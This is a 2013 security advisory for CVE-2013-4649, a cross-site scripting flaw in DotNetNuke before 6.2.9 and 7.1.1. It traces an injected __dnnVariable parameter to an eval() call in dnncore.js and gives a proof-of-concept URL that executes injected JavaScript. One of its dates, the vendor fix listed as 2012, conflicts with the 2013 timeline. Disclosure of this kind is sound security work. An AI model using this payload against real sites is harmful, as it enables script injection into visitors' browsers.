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DotNetNuke (DNN) 7.1.0 / 6.2.8 Cross Site Scripting

DotNetNuke (DNN) 7.1.0 / 6.2.8 Cross Site Scripting
Posted Aug 13, 2013
Authored by Sajjad Pourali, Nasser Salim Al-Hadhrami

DotNetNuke (DNN) versions prior to 7.1.0 and 6.2.8 suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2013-4649
SHA-256 | d5fce71c870f5c7156d287f5104511526b84a26432231c7c2bdefd7c00f5a00e

DotNetNuke (DNN) 7.1.0 / 6.2.8 Cross Site Scripting

Change Mirror Download
Title: DotNetNuke (DNN) Cross-Site Scripting Vulnerability
References: CVE-2013-4649
Discovered by: Sajjad Pourali , Nasser Salim Al-Hadhrami

Vendor http://dnnsoftware.com/
Vendor advisory: http://www.dnnsoftware.com/Platform/Manage/Security-Bulletins (2013-07)
Vendor contact: 2013-06-23
Vendor response: 2013-06-24 (Cathal Connolly from DotNetNuke)
Vendor fix and announcement: 2012-08-14

Solution: Update To (6.2.9/7.1.1)

Remote: yes
Authentication required: no
User interaction required: yes
Impact: Medium

Affected:

- DNN 7.1.0 and earlier
- DNN 6.2.8 and earlier

Not affected:
- DNN 7.1.1
- DNN 6.2.9

---

Trace vulnerable place:

http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'} :

...

<input name="__dnnVariable" type="hidden" id="__dnnVariable" autocomplete="off" value="`{`__dnn_pageload`:`alert(/XSS/)`,`__scdoff`:`1`}" />

...


http://www.vulnerable.com/js/dnn.js :

...

Type.registerNamespace("dnn");

...

http://www.vulnerable.com/js/dnncore.js :

...

function __dnn_ClientAPIEnabled()
{
return typeof (dnn) != "undefined"
}

...

if (__dnn_ClientAPIEnabled())
{
var sLoadHandlers = dnn.getVar("__dnn_pageload");
if (sLoadHandlers != null)
{
eval(sLoadHandlers)
}
dnn.dom.attachEvent(window, "onscroll", __dnn_bodyscroll)
}
__dnn_m_bPageLoaded = true
}

...

---

PoC:

http://www.vulnerable.com/?__dnnVariable={'__dnn_pageload':'alert(/XSS/)'}

---

+ Sajjad Pourali
+ http://www.securation.com/
+ http://www.cert.um.ac.ir/
+ Contact: sajjad[at]securation.com
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